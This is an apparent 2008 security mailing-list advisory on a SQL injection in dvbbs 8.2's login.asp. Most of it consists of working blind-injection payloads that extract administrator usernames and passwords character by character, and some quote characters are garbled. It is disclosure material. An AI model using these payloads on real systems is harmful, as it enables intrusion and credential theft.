From: <hackerb_at_hotmail.com <mailto:hackerb_at_hotmail.com?Subject=Re:%20dvbbs8.2%28access/sql%29version%20login.asp%20remote%20sql%20injection> > Date: 29 May 2008 10:19:00 -0000
('binary' encoding is not supported, stored as-is) name:
where (topsec security research group)
email:
hackerb_at_hotmail.com
Subject:
dvbbs8.2(access/sql)version login.asp remote sql injection
danger level:
critical/High
info:
dvbbs is prone to multiple sql injection security flaw
interrelated code to access version(exp):
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271
Examples(access version):
decide
Where� and �1�=�1
where� and �1�=�2
to get usernamer or password
where' and 1=(select count(*) from dv_admin where left(username,1)='a') and
'1'='1
where' and 1=(select count(*) from dv_admin where left(username,2)='ad') and
'1'='1
.......................
.......................
where' and 1=(select count(*) from dv_admin where left(password,1)='1') and
'1'='1
where' and 1=(select count(*) from dv_admin where left(password,2)='15') and
'1'='1
......................
......................
Solution:
Authorities patch
dvbbs web site(http://www.dvbbs.net)
References:
dvbbs(http://www.dvbbs.net)
Received on May 29 2008
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